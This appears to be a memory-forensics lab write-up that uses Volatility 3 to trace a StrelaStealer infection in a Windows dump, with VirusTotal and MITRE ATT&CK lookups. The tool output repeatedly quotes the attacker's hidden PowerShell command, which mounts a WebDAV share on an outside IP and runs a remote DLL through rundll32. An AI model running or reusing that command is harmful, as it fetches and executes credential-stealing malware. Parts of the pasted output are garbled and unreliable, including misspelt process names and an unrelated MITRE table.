

Overview

This investigation analyzes a Windows memory dump to identify signs of compromise, detect malicious processes, and determine the scope of a potential attack using Volatility 3.

Methodology

- Memory analysis using Volatility 3
- Process enumeration and hierarchy analysis (pslist, pstree)
- Command-line investigation (cmdline)
- User identification using SIDs (getsids)
- Threat intelligence correlation using VirusTotal

Analysis

Initial analysis was performed using the command:

```
python3 vol.py -f "192-Reveal.dmp" windows.pslist
```

The results did not reveal any abnormal or suspicious processes.

```
(kali@kali) [~/volatility3]
$ python3 vol.py -f "192-Reveal.dmp" windows.pslist
Volatility 3 Framework 2.28.0
Progress: 100.00
```

PID	PPID	ImageFileName	PDB scanning finished Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime	File output
4	0	System	0xc90c0345b040	138	-	N/A	False	2024-07-04 10:44:48.000000 UTC	N/A	Disabled
92	4	Registry	0xc90c0349e000	4	-	N/A	False	2024-07-04 10:44:43.000000 UTC	N/A	Disabled
300	4	smss.exe	0xc90c06148040	2	-	N/A	False	2024-07-04 10:44:48.000000 UTC	N/A	Disabled
416	404	csrss.exe	0xc90c070af140	11	-	0	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
492	404	wininit.exe	0xc90c07164000	1	-	0	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
512	484	csrss.exe	0xc90c07176000	13	-	1	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
588	484	winlogon.exe	0xc90c07a22000	5	-	1	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
628	492	services.exe	0xc90c070ad140	8	-	0	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
636	492	lsass.exe	0xc90c070ab000	8	-	0	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
748	492	fontdrvhost.exe	0xc90c07be9140	5	-	0	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
752	588	fontdrvhost.exe	0xc90c07beb140	5	-	1	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
764	628	svchost.exe	0xc90c07bef240	23	-	0	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
872	628	svchost.exe	0xc90c07c0f2c0	16	-	0	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
956	588	dm.exe	0xc90c07ca0000	16	-	1	False	2024-07-04 10:44:50.000000 UTC	N/A	Disabled
440	628	svchost.exe	0xc90c07d3e240	73	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
420	628	svchost.exe	0xc90c07d462c0	16	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
656	628	svchost.exe	0xc90c07d5f2c0	23	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
1040	628	svchost.exe	0xc90c07da8000	22	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
1112	628	svchost.exe	0xc90c07dc72c0	41	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
1260	628	svchost.exe	0xc90c07e7a2c0	24	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
1452	4	MemCompression	0xc90c03551040	66	-	N/A	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
1528	628	svchost.exe	0xc90c07f5a2c0	12	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
1680	628	svchost.exe	0xc90c0350d000	6	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
1688	628	svchost.exe	0xc90c03509000	5	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
1696	628	svchost.exe	0xc90c03507000	15	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
1864	628	spoolsv.exe	0xc90c0809f200	12	-	0	False	2024-07-04 10:44:51.000000 UTC	N/A	Disabled
1944	628	svchost.exe	0xc90c080ac000	16	-	0	False	2024-07-04 10:44:52.000000 UTC	N/A	Disabled
1952	628	svchost.exe	0xc90c080cd000	10	-	0	False	2024-07-04 10:44:52.000000 UTC	N/A	Disabled
2080	628	svchost.exe	0xc90c0821f000	13	-	0	False	2024-07-04 10:44:52.000000 UTC	N/A	Disabled
2216	628	wlms.exe	0xc90c08167240	2	-	0	False	2024-07-04 10:44:52.000000 UTC	N/A	Disabled
2232	628	vmtoolsd.exe	0xc90c08199240	3	-	0	False	2024-07-04 10:44:52.000000 UTC	N/A	Disabled
2248	628	vmtoolsd.exe	0xc90c08127000	11	-	0	False	2024-07-04 10:44:52.000000 UTC	N/A	Disabled
2256	628	VGAuthService.exe	0xc90c08166000	2	-	0	False	2024-07-04 10:44:52.000000 UTC	N/A	Disabled
2272	628	MsMpEng.exe	0xc90c08168000	9	-	0	False	2024-07-04 10:44:52.000000 UTC	N/A	Disabled
2388	2232	vmtoolsd.exe	0xc90c0838a200	4	-	1	False	2024-07-04 10:44:52.000000 UTC	N/A	Disabled
2736	628	dllhost.exe	0xc90c08548000	11	-	0	False	2024-07-04 10:44:53.000000 UTC	N/A	Disabled
2828	764	msiPrvSE.exe	0xc90c0850e000	12	-	0	False	2024-07-04 10:44:53.000000 UTC	N/A	Disabled
2856	628	msdtc.exe	0xc90c08527200	9	-	0	False	2024-07-04 10:44:53.000000 UTC	N/A	Disabled
2956	628	svchost.exe	0xc90c08637240	26	-	0	False	2024-07-04 10:44:53.000000 UTC	N/A	Disabled
3216	440	sihost.exe	0xc90c087450c0	11	-	1	False	2024-07-04 10:44:59.000000 UTC	N/A	Disabled

Further analysis was conducted using the following command to examine the process hierarchy:python3 vol.py -f "192-Reveal.dmp" windows.pstree

This approach provided a clearer view of parent-child process relationships, facilitating the identification of any potentially suspicious processes.

```
(kali@kali) - [~/volatility3]
$ python3 vol.py -f "192-Reveal.dmp" windows.pstree
Volatility 3 Framework 2.28.0
Progress: 100.00 PDB scanning finished
PID PPID ImageFileName PDB Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime Audit Cmd Path
4 0 System 0xc90c0345b040 138 - N/A False 2024-07-04 10:44:48.000000 UTC N/A - - -
* 1452 4 MemCompression 0xc90c0351040 66 - N/A False 2024-07-04 10:44:51.000000 UTC N/A - - -
* 92 4 Registry 0xc90c0349080 4 - N/A False 2024-07-04 10:44:43.000000 UTC N/A - - -
* 300 4 smss.exe 0xc90c06148040 2 - N/A False 2024-07-04 10:44:48.000000 UTC N/A - - -
416 404 csrss.exe 0xc90c070af140 11 - 0 False 2024-07-04 10:44:50.000000 UTC N/A - - -
ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows-On SubSystemType=Windows ServerDll=baseurl,1 ServerDll=winurl:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 C
\Windows\system32\csrss.exe
492 404 wininit.exe 0xc90c07164080 1 - 0 False 2024-07-04 10:44:50.000000 UTC N/A - - -
\Device\HarddiskVolume3\Windows\System32\wininit.exe
* 630 492 lsass.exe 0xc90c070ab080 8 - 0 False 2024-07-04 10:44:50.000000 UTC N/A - - -
C:\Windows\system32\lsass.exe C:\Windows\system32\lsass.exe C:\Windows\system32\lsass.exe
```

A PowerShell process (powershell.exe) was identified during the analysis. Although the executable path appeared legitimate, further inspection indicated malicious behavior. The process was executed with hidden window parameters ("-windowstyle hidden") and attempted to establish a connection to a remote directory on an external network associated with a suspicious IP address.

```
wordpad.exe "C:\Program Files\Windows NT\Accessories\wordpad.exe" C:\Program Files\Windows NT\Accessories\wordpad.exe
3692 4120 powershell.exe 0xc90c0358b080 17 - 1 False 2024-07-15 07:00:03.000000 UTC N/A - - -
\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0
\powershell.exe powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
* 2416 3692 net.exe 0xc90c08fd6080 5 - 1 False 2024-07-15 07:00:06.000000 UTC N/A - - -
\Device\HarddiskVolume3\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\ C:\Windows\system32\net.exe
* 6802 3692 conhost.exe 0xc90c08a080 5 - 1 False 2024-07-15 07:00:03.000000 UTC N/A - - -
\Device\HarddiskVolume3\Windows\System32\conhost.exe \Device\HarddiskVolume3\Windows\System32\conhost.exe
```

The malicious process had a parent process ID (PPID) of 4120, suggesting a structured attack chain.

```
\thunderbird.exe - -
*** 5848 3656 SecurityHealth 0xc90c09880080 3 - 1 False 2024-07-04 10:45:15.000000 UTC N/A - - -
\Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe
\SecurityHealthSystray.exe "C:\Windows\System32\SecurityHealthSystray.exe" C:\Windows\System32\SecurityHealthSystray.exe
* 956 588 dwm.exe 0xc90c07ca0080 16 - 1 False 2024-07-04 10:44:50.000000 UTC N/A - - -
\Device\HarddiskVolume3\Windows\System32\dwm.exe "dwm.exe" C:
\Windows\system32\dwm.exe
1728 6192 MicrosoftEdgeU 0xc90c09722080 4 - 0 True 2024-07-15 04:03:38.000000 UTC N/A - - -
\Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe - -
9112 4120 wordpad.exe 0xc90c0991d080 8 - 1 False 2024-07-15 07:00:03.000000 UTC N/A - - -
\Device\HarddiskVolume3\Program Files\Windows NT\Accessories\wordpad.exe
\wordpad.exe "C:\Program Files\Windows NT\Accessories\wordpad.exe" C:\Program Files\Windows NT\Accessories\wordpad.exe
3692 4120 powershell.exe 0xc90c0358b080 17 - 1 False 2024-07-15 07:00:03.000000 UTC N/A - - -
\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0
\powershell.exe powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
```

Command:

python3 vol.py -f "192-Reveal.dmp" windows.cmdline

The cmdline plugin was used to retrieve the command-line arguments associated with each process, providing deeper insight into process execution and behavior.

```
(kali@kali) - [~/volatility3]
$ python3 vol.py -f "192-Reveal.dmp" windows.cmdline
Volatility 3 Framework 2.28.0
Progress: 100.00 PDB scanning finished
PID Process Args
4 System -
92 Registry -
300 smss.exe -
416 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,erverDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
492 wininit.exe -
512 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,erverDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
588 winlogon.exe winlogon.exe
628 services.exe C:\Windows\system32\services.exe
636 lsass.exe C:\Windows\system32\lsass.exe
```

Command-line analysis revealed the execution of a second-stage payload: File: 3435.dll

```

9112 wolupau.exe C:\Program Files\Windows NT\Accessories\wolupau.exe
3692 powershell.exe powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry
6892 conhost.exe \\?\C:\Windows\system32\conhost.exe 0x4
2416 net.exe "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\

```

The attacker accessed a remote shared directory: davwwwroot

```

9112 wolupau.exe C:\Program Files\Windows NT\Accessories\wolupau.exe
3692 powershell.exe powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry
6892 conhost.exe \\?\C:\Windows\system32\conhost.exe 0x4

```

Command:python3 vol.py -f "192-Reveal.dmp" windows.getsids --pid 3692

The getsids plugin was utilized to retrieve the Security Identifier (SID) and corresponding user account linked to the process, enabling attribution of the activity to a specific user context. The malicious activity was executed under the user account:Elon

```

(kali@kali)-[~/volatility3]
$ python3 vol.py -f "192-Reveal.dmp" windows.getsids --pid 3692
Volatility 3 Framework 2.28.0
Progress: 100.00 PDB scanning finished
PID Process SID Name
3692 powershell.exe S-1-5-21-3274565340-3808842250-3617890653-1001 Elon
3692 powershell.exe S-1-5-21-3274565340-3808842250-3617890653-513 Domain Users
3692 powershell.exe S-1-1-0 Everyone
3692 powershell.exe S-1-5-114 Local Account (Member of Administrators)
3692 powershell.exe S-1-5-22-544 Administrators

```

VirusTotal was used to perform threat intelligence analysis and validate the findings.

The investigation revealed a PowerShell-based attack that executed a second-stage payload from a remote shared directory, associated with the Strelastealer malware family.

45.9.74.32

18/94 security vendors flagged this IP address as malicious

45.9.74.32 (45.9.74.0/24)
AS 207569 (I-servers Ltd)

FI Last Analysis Date
3 hours ago

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis

Vendor	Verdict
ADMINUSLabs	Malicious
alphaMountain.ai	Malicious

Files Referring (31)

Scanned	Detections	Type	Name
2026-02-12	1 / 69	Win32 EXE	net.exe
2025-11-27	1 / 62	DOS batch file	script.ps1
2025-11-27	1 / 62	DOS batch file	script.ps1
2025-01-30	52 / 72	Win32 EXE	8836bee6c07fd3c705cc895e925fe9e4.virus
2024-10-08	2 / 71	Win32 DLL	nlsbres.dll
2024-07-21	1 / 64	unknown	929001a605c495846151c54a4faa78bb954dd4da1d868b96dd0475c1e128a1b2
2025-08-10	53 / 72	Win32 DLL	2215.dll
2025-08-19	54 / 71	Win32 DLL	458.dll
2025-01-30	50 / 72	Win32 DLL	1225.dll
2025-01-30	47 / 72	Win32 DLL	4372.dll

42ebff6e9f582a632153c478033b7bfa347bde877fe594e9f0729268cf30174

52 / 72

Community Score

52/72 security vendors flagged this file as malicious

42ebff6e9f582a632153c478033b7bfa347bde877fe594e9f0729268cf30174

8836bee6c07fd3c705cc895e925fe9e4.virus

Size

123.00 KB

Last Analysis Date

1 year ago

peexe

64bits

overlay

idle

Reanalyze

Similar

More

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY 1

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Popular threat label

trojan.strela/stealer

Threat categories

trojan

Family labels

strela

stealer

password

Security vendors' analysis

Do you want to automate checks?

AhnLab-V3

Trojan.Win.StrelaStealer.R658717

Alibaba

Trojan.PSW.Win64/Strela.b93e9f3b

The attack technique aligns with MITRE ATT&CK T1218.011, indicating the use of legitimate system utilities to execute malicious payloads.

Matrices				Tactics	Techniques	Defenses	CTI	Resources	Search
Enterprise	T1566	.001	Phishing: Spearphishing Attachment					Network sniffer module to discover user credentials being sent over the network between the local LAN and the power grid's industrial control systems. [5]	
Enterprise	T1055		Process Injection					During the 2015 Ukraine Electric Power Attack, Sandworm Team loaded BlackEnergy into svchost.exe, which then launched iexplore.exe for their C2. [1]	
Enterprise	T1018		Remote System Discovery					During the 2015 Ukraine Electric Power Attack, Sandworm Team remotely discovered systems over LAN connections. OT systems were visible from the IT network as well, giving adversaries the ability to discover operational assets. [5]	
Enterprise	T1218	.011	System Binary Proxy Execution: Rundll32					During the 2015 Ukraine Electric Power Attack, Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe. [1]	
Enterprise	T1204	.002	User Execution:					During the 2015 Ukraine Electric Power Attack, Sandworm Team leveraged Microsoft Office	

Findings:

- Malicious Process: powershell.exe
- Hidden execution (-windowstyle hidden)
- Payload: 3435.dll
- Remote Directory: davwwwroot
- User: Elon
- Malware Family: Strelastealer
- Technique: MITRE T1218.011

Conclusion

The investigation revealed a multi-stage PowerShell-based attack that executed a remote payload, indicating a system compromise associated with the Strelastealer malware family.